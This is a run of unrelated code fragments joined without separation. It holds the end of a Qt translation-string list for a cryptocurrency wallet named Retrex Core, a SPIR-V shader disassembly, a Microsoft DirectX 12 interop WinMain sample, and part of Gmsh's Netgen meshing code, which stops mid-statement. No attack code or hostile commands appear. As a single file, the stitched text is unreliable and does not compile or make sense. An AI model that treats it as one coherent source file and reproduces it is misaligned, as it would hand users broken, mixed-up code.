corrupted"), QT_TRANSLATE_NOOP("retrex-core", "Error loading wallet.dat: Wallet requires newer version of Retrex Core"), QT_TRANSLATE_NOOP("retrex-core", "Error opening block database"), QT_TRANSLATE_NOOP("retrex-core", "Error reading from database, shutting down."), QT_TRANSLATE_NOOP("retrex-core", "Error recovering public key."), QT_TRANSLATE_NOOP("retrex-core", "Error"), QT_TRANSLATE_NOOP("retrex-core", "Error: A fatal internal error occured, see debug.log for details"), QT_TRANSLATE_NOOP("retrex-core", "Error: Can't select current denominated inputs"), QT_TRANSLATE_NOOP("retrex-core", "Error: Disk space is low!"), QT_TRANSLATE_NOOP("retrex-core", "Error: Unsupported argument -tor found, use -onion."), QT_TRANSLATE_NOOP("retrex-core", "Error: Wallet locked, unable to create transaction!"), QT_TRANSLATE_NOOP("retrex-core", "Error: You already have pending entries in the Obfuscation pool"), QT_TRANSLATE_NOOP("retrex-core", "Failed to calculate accumulator checkpoint"), QT_TRANSLATE_NOOP("retrex-core", "Failed to listen on any port. Use -listen=0 if you want this."), QT_TRANSLATE_NOOP("retrex-core", "Failed to read block index"), QT_TRANSLATE_NOOP("retrex-core", "Failed to read block"), QT_TRANSLATE_NOOP("retrex-core", "Failed to write block index"), QT_TRANSLATE_NOOP("retrex-core", "Fee (in REEX/kB) to add to transactions you send (default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "Finalizing transaction."), QT_TRANSLATE_NOOP("retrex-core", "Force safe mode (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Found enough users, signing ( waiting %s )"), QT_TRANSLATE_NOOP("retrex-core", "Found enough users, signing ..."), QT_TRANSLATE_NOOP("retrex-core", "Generate coins (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "How many blocks to check at startup (default: %u, 0 = all)"), QT_TRANSLATE_NOOP("retrex-core", "If <category> is not supplied, output all debugging information."), QT_TRANSLATE_NOOP("retrex-core", "Importing..."), QT_TRANSLATE_NOOP("retrex-core", "Imports blocks from external blk000??.dat file"), QT_TRANSLATE_NOOP("retrex-core", "Include IP addresses in debug output (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Incompatible mode."), QT_TRANSLATE_NOOP("retrex-core", "Incompatible version."), QT_TRANSLATE_NOOP("retrex-core", "Incorrect or no genesis block found. Wrong datadir for network?"), QT_TRANSLATE_NOOP("retrex-core", "Information"), QT_TRANSLATE_NOOP("retrex-core", "Initialization sanity check failed. Retrex Core is shutting down."), QT_TRANSLATE_NOOP("retrex-core", "Input is not valid."), QT_TRANSLATE_NOOP("retrex-core", "Insufficient funds"), QT_TRANSLATE_NOOP("retrex-core", "Insufficient funds."), QT_TRANSLATE_NOOP("retrex-core", "Invalid -onion address or hostname: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Invalid -proxy address or hostname: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Invalid amount for -maxtxfee=<amount>: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Invalid amount for -minrelaytxfee=<amount>: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Invalid amount for -mintxfee=<amount>: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Invalid amount for -paytxfee=<amount>: '%s' (must be at least %s)"), QT_TRANSLATE_NOOP("retrex-core", "Invalid amount for -paytxfee=<amount>: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Invalid amount for -reservebalance=<amount>"), QT_TRANSLATE_NOOP("retrex-core", "Invalid amount"), QT_TRANSLATE_NOOP("retrex-core", "Invalid masternodeprivkey. Please see documenation."), QT_TRANSLATE_NOOP("retrex-core", "Invalid netmask specified in -whitelist: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Invalid port detected in masternode.conf"), QT_TRANSLATE_NOOP("retrex-core", "Invalid private key."), QT_TRANSLATE_NOOP("retrex-core", "Invalid script detected."), QT_TRANSLATE_NOOP("retrex-core", "Keep at most <n> unconnectable transactions in memory (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Last Obfuscation was too recent."), QT_TRANSLATE_NOOP("retrex-core", "Last successful Obfuscation action was too recent."), QT_TRANSLATE_NOOP("retrex-core", "Limit size of signature cache to <n> entries (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Line: %d"), QT_TRANSLATE_NOOP("retrex-core", "Listen for JSON-RPC connections on <port> (default: %u or testnet: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Listen for connections on <port> (default: %u or testnet: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Loading addresses..."), QT_TRANSLATE_NOOP("retrex-core", "Loading block index..."), QT_TRANSLATE_NOOP("retrex-core", "Loading budget cache..."), QT_TRANSLATE_NOOP("retrex-core", "Loading masternode cache..."), QT_TRANSLATE_NOOP("retrex-core", "Loading masternode payment cache..."), QT_TRANSLATE_NOOP("retrex-core", "Loading sporks..."), QT_TRANSLATE_NOOP("retrex-core", "Loading wallet... (%3.2f %%)"), QT_TRANSLATE_NOOP("retrex-core", "Loading wallet..."), QT_TRANSLATE_NOOP("retrex-core", "Lock is already in place."), QT_TRANSLATE_NOOP("retrex-core", "Lock masternodes from masternode configuration file (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Maintain at most <n> connections to peers (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Masternode options:"), QT_TRANSLATE_NOOP("retrex-core", "Masternode queue is full."), QT_TRANSLATE_NOOP("retrex-core", "Masternode:"), QT_TRANSLATE_NOOP("retrex-core", "Maximum per-connection receive buffer, <n>*1000 bytes (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Maximum per-connection send buffer, <n>*1000 bytes (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Missing input transaction information."), QT_TRANSLATE_NOOP("retrex-core", "Mixing in progress..."), QT_TRANSLATE_NOOP("retrex-core", "Need to specify a port with -whitebind: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "No Masternodes detected."), QT_TRANSLATE_NOOP("retrex-core", "No compatible Masternode found."), QT_TRANSLATE_NOOP("retrex-core", "No funds detected in need of denominating."), QT_TRANSLATE_NOOP("retrex-core", "No matching denominations found for mixing."), QT_TRANSLATE_NOOP("retrex-core", "Node relay options:"), QT_TRANSLATE_NOOP("retrex-core", "Non-standard public key detected."), QT_TRANSLATE_NOOP("retrex-core", "Not compatible with existing transactions."), QT_TRANSLATE_NOOP("retrex-core", "Not enough file descriptors available."), QT_TRANSLATE_NOOP("retrex-core", "Not in the Masternode list."), QT_TRANSLATE_NOOP("retrex-core", "Number of automatic wallet backups (default: 10)"), QT_TRANSLATE_NOOP("retrex-core", "Obfuscation is idle."), QT_TRANSLATE_NOOP("retrex-core", "Obfuscation request complete:"), QT_TRANSLATE_NOOP("retrex-core", "Obfuscation request incomplete:"), QT_TRANSLATE_NOOP("retrex-core", "Only accept block chain matching built-in checkpoints (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Only connect to nodes in network <net> (ipv4, ipv6 or onion)"), QT_TRANSLATE_NOOP("retrex-core", "Options:"), QT_TRANSLATE_NOOP("retrex-core", "Password for JSON-RPC connections"), QT_TRANSLATE_NOOP("retrex-core", "Percentage of automatically minted Zerocoin (10-100, default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Preparing for resync..."), QT_TRANSLATE_NOOP("retrex-core", "Prepend debug output with timestamp (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Print version and exit"), QT_TRANSLATE_NOOP("retrex-core", "RPC SSL options: (see the Bitcoin Wiki for SSL setup instructions)"), QT_TRANSLATE_NOOP("retrex-core", "RPC server options:"), QT_TRANSLATE_NOOP("retrex-core", "RPC support for HTTP persistent connections (default: %d)"), QT_TRANSLATE_NOOP("retrex-core", "Randomly drop 1 of every <n> network messages"), QT_TRANSLATE_NOOP("retrex-core", "Randomly fuzz 1 of every <n> network messages"), QT_TRANSLATE_NOOP("retrex-core", "Rebuild block chain index from current blk000??.dat files"), QT_TRANSLATE_NOOP("retrex-core", "Recalculating coin supply may take 30-60 minutes..."), QT_TRANSLATE_NOOP("retrex-core", "Recalculating supply statistics may take 30-60 minutes..."), QT_TRANSLATE_NOOP("retrex-core", "Receive and display P2P network alerts (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Reindex the accumulator database"), QT_TRANSLATE_NOOP("retrex-core", "Relay and mine data carrier transactions (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Relay non-P2SH multisig (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Rescan the block chain for missing wallet transactions"), QT_TRANSLATE_NOOP("retrex-core", "Rescanning..."), QT_TRANSLATE_NOOP("retrex-core", "ResetMintZerocoin finished: "), QT_TRANSLATE_NOOP("retrex-core", "ResetSpentZerocoin finished: "), QT_TRANSLATE_NOOP("retrex-core", "Run a thread to flush wallet periodically (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Run in the background as a daemon and accept commands"), QT_TRANSLATE_NOOP("retrex-core", "Send transactions as zero-fee transactions if possible (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Server certificate file (default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "Server private key (default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "Session not complete!"), QT_TRANSLATE_NOOP("retrex-core", "Session timed out."), QT_TRANSLATE_NOOP("retrex-core", "Set database cache size in megabytes (%d to %d, default: %d)"), QT_TRANSLATE_NOOP("retrex-core", "Set external address:port to get to this masternode (example: %s)"), QT_TRANSLATE_NOOP("retrex-core", "Set key pool size to <n> (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Set maximum block size in bytes (default: %d)"), QT_TRANSLATE_NOOP("retrex-core", "Set minimum block size in bytes (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Set the Maximum reorg depth (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Set the masternode private key"), QT_TRANSLATE_NOOP("retrex-core", "Set the number of threads to service RPC calls (default: %d)"), QT_TRANSLATE_NOOP("retrex-core", "Sets the DB_PRIVATE flag in the wallet db environment (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Show all debugging options (usage: --help -help-debug)"), QT_TRANSLATE_NOOP("retrex-core", "Shrink debug.log file on client startup (default: 1 when no -debug)"), QT_TRANSLATE_NOOP("retrex-core", "Signing failed."), QT_TRANSLATE_NOOP("retrex-core", "Signing timed out."), QT_TRANSLATE_NOOP("retrex-core", "Signing transaction failed"), QT_TRANSLATE_NOOP("retrex-core", "Specify configuration file (default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "Specify connection timeout in milliseconds (minimum: 1, default: %d)"), QT_TRANSLATE_NOOP("retrex-core", "Specify data directory"), QT_TRANSLATE_NOOP("retrex-core", "Specify masternode configuration file (default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "Specify pid file (default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "Specify wallet file (within data directory)"), QT_TRANSLATE_NOOP("retrex-core", "Specify your own public address"), QT_TRANSLATE_NOOP("retrex-core", "Spend unconfirmed change when sending transactions (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Staking options:"), QT_TRANSLATE_NOOP("retrex-core", "Stop running after importing blocks from disk (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Submitted following entries to masternode: %u / %d"), QT_TRANSLATE_NOOP("retrex-core", "Submitted to masternode, waiting for more entries ( %u / %d ) %s"), QT_TRANSLATE_NOOP("retrex-core", "Submitted to masternode, waiting in queue %s"), QT_TRANSLATE_NOOP("retrex-core", "SwiftTX options:"), QT_TRANSLATE_NOOP("retrex-core", "Synchronization failed"), QT_TRANSLATE_NOOP("retrex-core", "Synchronization finished"), QT_TRANSLATE_NOOP("retrex-core", "Synchronization pending..."), QT_TRANSLATE_NOOP("retrex-core", "Synchronizing budgets..."), QT_TRANSLATE_NOOP("retrex-core", "Synchronizing masternode winners..."), QT_TRANSLATE_NOOP("retrex-core", "Synchronizing masternodes..."), QT_TRANSLATE_NOOP("retrex-core", "Synchronizing sporks..."), QT_TRANSLATE_NOOP("retrex-core", "This help message"), QT_TRANSLATE_NOOP("retrex-core", "This is experimental software."), QT_TRANSLATE_NOOP("retrex-core", "This is intended for regression testing tools and app development."), QT_TRANSLATE_NOOP("retrex-core", "This is not a Masternode."), QT_TRANSLATE_NOOP("retrex-core", "Threshold for disconnecting misbehaving peers (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Tor control port password (default: empty)"), QT_TRANSLATE_NOOP("retrex-core", "Tor control port to use if onion listening enabled (default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "Transaction amount too small"), QT_TRANSLATE_NOOP("retrex-core", "Transaction amounts must be positive"), QT_TRANSLATE_NOOP("retrex-core", "Transaction created successfully."), QT_TRANSLATE_NOOP("retrex-core", "Transaction fees are too high."), QT_TRANSLATE_NOOP("retrex-core", "Transaction not valid."), QT_TRANSLATE_NOOP("retrex-core", "Transaction too large for fee policy"), QT_TRANSLATE_NOOP("retrex-core", "Transaction too large"), QT_TRANSLATE_NOOP("retrex-core", "Transmitting final transaction."), QT_TRANSLATE_NOOP("retrex-core", "Unable to bind to %s on this computer (bind returned error %s)"), QT_TRANSLATE_NOOP("retrex-core", "Unable to sign spork message, wrong key?"), QT_TRANSLATE_NOOP("retrex-core", "Unknown network specified in -onlynet: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Unknown state: id = %u"), QT_TRANSLATE_NOOP("retrex-core", "Upgrade wallet to latest format"), QT_TRANSLATE_NOOP("retrex-core", "Use OpenSSL (https) for JSON-RPC connections"), QT_TRANSLATE_NOOP("retrex-core", "Use UPnP to map the listening port (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Use UPnP to map the listening port (default: 1 when listening)"), QT_TRANSLATE_NOOP("retrex-core", "Use a custom max chain reorganization depth (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Use the test network"), QT_TRANSLATE_NOOP("retrex-core", "Username for JSON-RPC connections"), QT_TRANSLATE_NOOP("retrex-core", "Value more than Obfuscation pool maximum allows."), QT_TRANSLATE_NOOP("retrex-core", "Verifying blocks..."), QT_TRANSLATE_NOOP("retrex-core", "Verifying wallet..."), QT_TRANSLATE_NOOP("retrex-core", "Wallet %s resides outside data directory %s"), QT_TRANSLATE_NOOP("retrex-core", "Wallet is locked."), QT_TRANSLATE_NOOP("retrex-core", "Wallet needed to be rewritten: restart Retrex Core to complete"), QT_TRANSLATE_NOOP("retrex-core", "Wallet options:"), QT_TRANSLATE_NOOP("retrex-core", "Wallet window title"), QT_TRANSLATE_NOOP("retrex-core", "Warning"), QT_TRANSLATE_NOOP("retrex-core", "Warning: This version is obsolete, upgrade required!"), QT_TRANSLATE_NOOP("retrex-core", "Warning: Unsupported argument -benchmark ignored, use -debug=bench."), QT_TRANSLATE_NOOP("retrex-core", "Warning: Unsupported argument -debugnet ignored, use -debug=net."), QT_TRANSLATE_NOOP("retrex-core", "Will retry..."), QT_TRANSLATE_NOOP("retrex-core", "You need to rebuild the database using -reindex to change -txindex"), QT_TRANSLATE_NOOP("retrex-core", "Your entries added successfully."), QT_TRANSLATE_NOOP("retrex-core", "Your transaction was accepted into the pool!"), QT_TRANSLATE_NOOP("retrex-core", "Zapping all transactions from wallet..."), QT_TRANSLATE_NOOP("retrex-core", "ZeroMQ notification options:"), QT_TRANSLATE_NOOP("retrex-core", "Zerocoin options:"), QT_TRANSLATE_NOOP("retrex-core", "failed to validate zerocoin"), QT_TRANSLATE_NOOP("retrex-core", "on startup"), QT_TRANSLATE_NOOP("retrex-core", "wallet.dat corrupt, salvage failed"), };
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 166 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %115 %152 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %11 "ReallyApproxNormalizedAtan2(vf2;" OpName %10 "v" OpName %15 "polarize(vf2;" OpName %14 "coord" OpName %18 "pi2" OpName %29 "a" OpName %42 "z" OpName %54 "th" OpName %94 "pi" OpName %96 "center" OpName %100 "dist" OpName %103 "angle" OpName %104 "param" OpName %112 "coord" OpName %115 "gl_FragCoord" OpName %120 "coord1" OpName %126 "param" OpName %128 "coord2" OpName %134 "param" OpName %136 "coord3" OpName %137 "param" OpName %152 "_GLF_color" OpName %156 "tex" OpDecorate %115 BuiltIn FragCoord OpDecorate %152 Location 0 OpDecorate %156 RelaxedPrecision OpDecorate %156 DescriptorSet 0 OpDecorate %156 Binding 0 OpDecorate %157 RelaxedPrecision OpDecorate %159 RelaxedPrecision OpDecorate %161 RelaxedPrecision %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeFloat 32 %7 = OpTypeVector %6 2 %8 = OpTypePointer Function %7 %9 = OpTypeFunction %6 %8 %13 = OpTypeFunction %7 %8 %17 = OpTypePointer Function %6 %19 = OpConstant %6 0.318309873 %22 = OpConstant %6 0.00100000005 %23 = OpTypeBool %27 = OpConstant %6 0 %32 = OpTypeInt 32 0 %33 = OpConstant %32 1 %36 = OpConstant %32 0 %55 = OpConstant %6 0.970000029 %56 = OpConstant %6 0.189999998 %73 = OpConstant %6 0.5 %81 = OpConstant %6 1 %95 = OpConstant %6 3.14159298 %98 = OpConstantComposite %7 %73 %73 %113 = OpTypeVector %6 4 %114 = OpTypePointer Input %113 %115 = OpVariable %114 Input %118 = OpConstant %6 0.00390625 %122 = OpConstant %6 0.078125 %123 = OpConstant %6 -0.3125 %124 = OpConstantComposite %7 %122 %123 %130 = OpConstant %6 -0.234375 %131 = OpConstant %6 0.15625 %132 = OpConstantComposite %7 %130 %131 %146 = OpConstant %6 256 %151 = OpTypePointer Output %113 %152 = OpVariable %151 Output %153 = OpTypeImage %6 2D 0 0 0 1 Unknown %154 = OpTypeSampledImage %153 %155 = OpTypePointer UniformConstant %154 %156 = OpVariable %155 UniformConstant %160 = OpTypeVector %6 3 %4 = OpFunction %2 None %3 %5 = OpLabel %112 = OpVariable %8 Function %120 = OpVariable %8 Function %126 = OpVariable %8 Function %128 = OpVariable %8 Function %134 = OpVariable %8 Function %136 = OpVariable %8 Function %137 = OpVariable %8 Function %116 = OpLoad %113 %115 %117 = OpVectorShuffle %7 %116 %116 0 1 %119 = OpVectorTimesScalar %7 %117 %118 OpStore %112 %119 %121 = OpLoad %7 %112 %125 = OpFAdd %7 %121 %124 OpStore %126 %125 %127 = OpFunctionCall %7 %15 %126 OpStore %120 %127 %129 = OpLoad %7 %112 %133 = OpFAdd %7 %129 %132 OpStore %134 %133 %135 = OpFunctionCall %7 %15 %134 OpStore %128 %135 %138 = OpLoad %7 %112 OpStore %137 %138 %139 = OpFunctionCall %7 %15 %137 OpStore %136 %139 %140 = OpLoad %7 %120 %141 = OpLoad %7 %128 %142 = OpFSub %7 %140 %141 %143 = OpLoad %7 %136 %144 = OpFAdd %7 %142 %143 OpStore %112 %144 %145 = OpLoad %7 %112 %147 = OpVectorTimesScalar %7 %145 %146 %148 = OpExtInst %7 %1 Floor %147 %149 = OpCompositeConstruct %7 %146 %146 %150 = OpFDiv %7 %148 %149 OpStore %112 %150 %157 = OpLoad %154 %156 %158 = OpLoad %7 %112 %159 = OpImageSampleImplicitLod %113 %157 %158 %161 = OpVectorShuffle %160 %159 %159 0 1 2 %162 = OpCompositeExtract %6 %161 0 %163 = OpCompositeExtract %6 %161 1 %164 = OpCompositeExtract %6 %161 2 %165 = OpCompositeConstruct %113 %162 %163 %164 %81 OpStore %152 %165 OpReturn OpFunctionEnd %11 = OpFunction %6 None %9 %10 = OpFunctionParameter %8 %12 = OpLabel %18 = OpVariable %17 Function %29 = OpVariable %8 Function %42 = OpVariable %17 Function %54 = OpVariable %17 Function OpStore %18 %19 %20 = OpLoad %7 %10 %21 = OpExtInst %6 %1 Length %20 %24 = OpFOrdLessThan %23 %21 %22 OpSelectionMerge %26 None OpBranchConditional %24 %25 %26 %25 = OpLabel OpReturnValue %27 %26 = OpLabel %30 = OpLoad %7 %10 %31 = OpExtInst %7 %1 FAbs %30 OpStore %29 %31 %34 = OpAccessChain %17 %29 %33 %35 = OpLoad %6 %34 %37 = OpAccessChain %17 %29 %36 %38 = OpLoad %6 %37 %39 = OpFOrdGreaterThan %23 %35 %38 OpSelectionMerge %41 None OpBranchConditional %39 %40 %48 %40 = OpLabel %43 = OpAccessChain %17 %29 %36 %44 = OpLoad %6 %43 %45 = OpAccessChain %17 %29 %33 %46 = OpLoad %6 %45 %47 = OpFDiv %6 %44 %46 OpStore %42 %47 OpBranch %41 %48 = OpLabel %49 = OpAccessChain %17 %29 %33 %50 = OpLoad %6 %49 %51 = OpAccessChain %17 %29 %36 %52 = OpLoad %6 %51 %53 = OpFDiv %6 %50 %52 OpStore %42 %53 OpBranch %41 %41 = OpLabel %57 = OpLoad %6 %42 %58 = OpFMul %6 %56 %57 %59 = OpLoad %6 %42 %60 = OpFMul %6 %58 %59 %61 = OpFSub %6 %55 %60 %62 = OpLoad %6 %42 %63 = OpFMul %6 %61 %62 %64 = OpLoad %6 %18 %65 = OpFMul %6 %63 %64 OpStore %54 %65 %66 = OpAccessChain %17 %29 %33 %67 = OpLoad %6 %66 %68 = OpAccessChain %17 %29 %36 %69 = OpLoad %6 %68 %70 = OpFOrdLessThan %23 %67 %69 OpSelectionMerge %72 None OpBranchConditional %70 %71 %72 %71 = OpLabel %74 = OpLoad %6 %54 %75 = OpFSub %6 %73 %74 OpStore %54 %75 OpBranch %72 %72 = OpLabel %76 = OpAccessChain %17 %10 %36 %77 = OpLoad %6 %76 %78 = OpFOrdLessThan %23 %77 %27 OpSelectionMerge %80 None OpBranchConditional %78 %79 %80 %79 = OpLabel %82 = OpLoad %6 %54 %83 = OpFSub %6 %81 %82 OpStore %54 %83 OpBranch %80 %80 = OpLabel %84 = OpAccessChain %17 %10 %33 %85 = OpLoad %6 %84 %86 = OpFOrdLessThan %23 %85 %27 OpSelectionMerge %88 None OpBranchConditional %86 %87 %88 %87 = OpLabel %89 = OpLoad %6 %54 %90 = OpFNegate %6 %89 OpStore %54 %90 OpBranch %88 %88 = OpLabel %91 = OpLoad %6 %54 OpReturnValue %91 OpFunctionEnd %15 = OpFunction %7 None %13 %14 = OpFunctionParameter %8 %16 = OpLabel %94 = OpVariable %17 Function %96 = OpVariable %8 Function %100 = OpVariable %17 Function %103 = OpVariable %17 Function %104 = OpVariable %8 Function OpStore %94 %95 %97 = OpLoad %7 %14 %99 = OpFSub %7 %97 %98 OpStore %96 %99 %101 = OpLoad %7 %96 %102 = OpExtInst %6 %1 Length %101 OpStore %100 %102 %105 = OpLoad %7 %96 OpStore %104 %105 %106 = OpFunctionCall %6 %11 %104 OpStore %103 %106 %107 = OpLoad %6 %100 %108 = OpLoad %6 %103 %109 = OpCompositeConstruct %7 %107 %108 OpReturnValue %109 OpFunctionEnd
//********************************************************* // // Copyright (c) Microsoft. All rights reserved. // This code is licensed under the MIT License (MIT). // THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF // ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY // IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR // PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT. // //********************************************************* #include "AmpDX12Interop.h" _Use_decl_annotations_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int nCmdShow) { AmpDX12Interop ampDX12Interop(1024, 1024, L"C++ AMP and DirectX 12 Interop"); return Win32Application::Run(&ampDX12Interop, hInstance, nCmdShow); }
// Gmsh - Copyright (C) 1997-2019 C. Geuzaine, J.-F. Remacle // // See the LICENSE.txt file for license information. Please report all // issues on https://gitlab.onelab.info/gmsh/gmsh/issues. #include <stdlib.h> #include <vector> #include "GmshConfig.h" #include "GmshMessage.h" #include "meshGRegion.h" #include "GModel.h" #include "GRegion.h" #include "GFace.h" #include "MTriangle.h" #include "MTetrahedron.h" #include "ExtrudeParams.h" #include "Context.h" #if defined(HAVE_NETGEN) namespace nglib { #include "nglib_gmsh.h" } using namespace nglib; static void getAllBoundingVertices( GRegion *gr, std::set<MVertex *, MVertexLessThanNum> &allBoundingVertices) { std::vector<GFace *> faces = gr->faces(); std::vector<GFace *>::iterator it = faces.begin(); while(it != faces.end()) { GFace *gf = (*it); for(std::size_t i = 0; i < gf->triangles.size(); i++) { MTriangle *t = gf->triangles[i]; for(int k = 0; k < 3; k++) if(allBoundingVertices.find(t->getVertex(k)) == allBoundingVertices.end()) allBoundingVertices.insert(t->getVertex(k)); } ++it; } } static Ng_Mesh *buildNetgenStructure(GRegion *gr, bool importVolumeMesh, std::vector<MVertex *> &numberedV) { Ng_Init(); Ng_Mesh *ngmesh = Ng_NewMesh(); std::set<MVertex *, MVertexLessThanNum> allBoundingVertices; getAllBoundingVertices(gr, allBoundingVertices); std::set<MVertex *, MVertexLessThanNum>::iterator itv = allBoundingVertices.begin(); int I = 1; while(itv != allBoundingVertices.end()) { double tmp[3]; tmp[0] = (*itv)->x(); tmp[1] = (*itv)->y(); tmp[2] = (*itv)->z(); (*itv)->setIndex(I++); numberedV.push_back(*itv); Ng_AddPoint(ngmesh, tmp); ++itv; } if(importVolumeMesh) { for(std::size_t i = 0; i < gr->mesh_vertices.size(); i++) { double tmp[3]; tmp[0] = gr->mesh_vertices[i]->x(); tmp[1] = gr->mesh_vertices[i]->y(); tmp[2] = gr->mesh_vertices[i]->z(); gr->mesh_vertices[i]->setIndex(I++); Ng_AddPoint(ngmesh, tmp); } } std::vector<GFace *> faces = gr->faces(); std::vector<GFace *>::iterator it = faces.begin(); while(it != faces.end()) { GFace *gf = (*it); for(std::size_t i = 0; i < gf->triangles.size(); i++) { MTriangle *t = gf->triangles[i]; int tmp[3]; tmp[0] = t->getVertex(0)->getIndex(); tmp[1] = t->getVertex(1)->getIndex(); tmp[2] = t->getVertex(2)->getIndex(); Ng_AddSurfaceElement(ngmesh, NG_TRIG, tmp); } ++it; } if(importVolumeMesh) { for(std::size_t i = 0; i < gr->tetrahedra.size(); i++) { MTetrahedron *t = gr->tetrahedra[i]; // netgen expects tet with negative volume if(t->getVolumeSign() > 0) t->reverse(); int tmp[4]; tmp[0] = t->getVertex(0)->getIndex(); tmp[1] = t->getVertex(1)->getIndex(); tmp[2] = t->getVertex(2)->getIndex(); tmp[3] = t->getVertex(3)->getIndex(); Ng_AddVolumeElement(ngmesh, NG_TET, tmp); } } return ngmesh; } static void TransferVolumeMesh(GRegion *gr, Ng_Mesh *ngmesh, std::vector<MVertex *> &numberedV) { // Gets total number of vertices of Netgen's mesh int nbv = Ng_GetNP(ngmesh); if(!nbv) return; int nbpts = numberedV.size(); // Create new volume vertices for(int i = nbpts; i < nbv; i++) { double tmp[3]; Ng_GetPoint(ngmesh, i + 1, tmp); MVertex *v = new MVertex(tmp[0], tmp[1], tmp[2], gr); numberedV.push_back(v); gr->mesh_vertices.push_back(v); } // Get total number of simplices of Netgen's mesh int nbe = Ng_GetNE(ngmesh); // Create new volume simplices for(int i = 0; i < nbe; i++) { int tmp[4]; Ng_GetVolumeElement(ngmesh, i + 1, tmp); MTetrahedron *t = new MTetrahedron(numberedV[tmp[0] - 1], numberedV[tmp[1] - 1], numberedV[tmp[2] - 1], numberedV[tmp[3] - 1]); gr->tetrahedra.push_back(t); } } // X_1 (1-u-v) + X_2 u + X_3 v = P_x + t N_x // Y_1 (1-u-v) + Y_2 u + Y_3 v = P_y + t N_y // Z_1 (1-u-v) + Z_2 u + Z_3 v = P_z + t N_z static int intersectLineTriangle(double X[3], double Y[3], double Z[3], double P[3], double N[3], const double eps_prec) { double mat[3][3], det; double b[3], res[3]; mat[0][0] = X[1] - X[0]; mat[0][1] = X[2] - X[0]; mat[0][2] = N[0]; mat[1][0] = Y[1] - Y[0]; mat[1][1] = Y[2] - Y[0]; mat[1][2] = N[1]; mat[2][0] = Z[1] - Z[0]; mat[2][1] = Z[2] - Z[0]; mat[2][2] = N[2]; b[0] = P[0] - X[0]; b[1] = P[1] - Y[0]; b[2] = P[2] - Z[0]; if(!sys3x3_with_tol(mat, b, res, &det)) { return 0; } // printf("coucou %g %g %g\n",res[0],res[1],res[2]); if(res[0] >= eps_prec && res[0] <= 1.0 - eps_prec && res[1] >= eps_prec && res[1] <= 1.0 - eps_prec && 1 - res[0] - res[1] >= eps_prec && 1 - res[0] - res[1] <= 1.0 - eps_prec) { // the line clearly intersects the triangle return (res[2] > 0) ? 1 : 0; } else if(res[0] < -eps_prec || res[0] > 1.0 + eps_prec || res[1] < -eps_prec || res[1] > 1.0 + eps_prec || 1 - res[0] - res[1] < -eps_prec || 1 - res[0] - res[1] > 1.0 + eps_prec) { // the line clearly does NOT intersect the triangle return 0; } else { // printf("non robust stuff\n"); // the intersection is not robust, try another triangle return -10000; } } static void setRand(double r[6]) { for(int i = 0; i < 6; i++) r[i] = 0.0001 * ((double)rand() / (double)RAND_MAX); } static void meshNormalsPointOutOfTheRegion(GRegion *gr) { std::vector<GFace *> faces = gr->faces(); std::vector<GFace *>::iterator it = faces.begin(); // perform intersection check in normalized coordinates SBoundingBox3d bbox = gr->bounds(); double scaling = norm(SVector3(bbox.max(), bbox.min())); if(!scaling) { Msg::Warning("Bad scaling in meshNormalsPointOutOfTheRegion"); scaling = 1.; } double rrr[6]; setRand(rrr); while(it != faces.end()) { GFace *gf = (*it); int nb_intersect = 0; for(std::size_t i = 0; i < gf->triangles.size(); i++) { MTriangle *t = gf->triangles[i]; double X[3] = {t->getVertex(0)->x(), t->getVertex(1)->x(), t->getVertex(2)->x()}; double Y[3] = {t->getVertex(0)->y(), t->getVertex(1)->y(), t->getVertex(2)->y()}; double Z[3] = 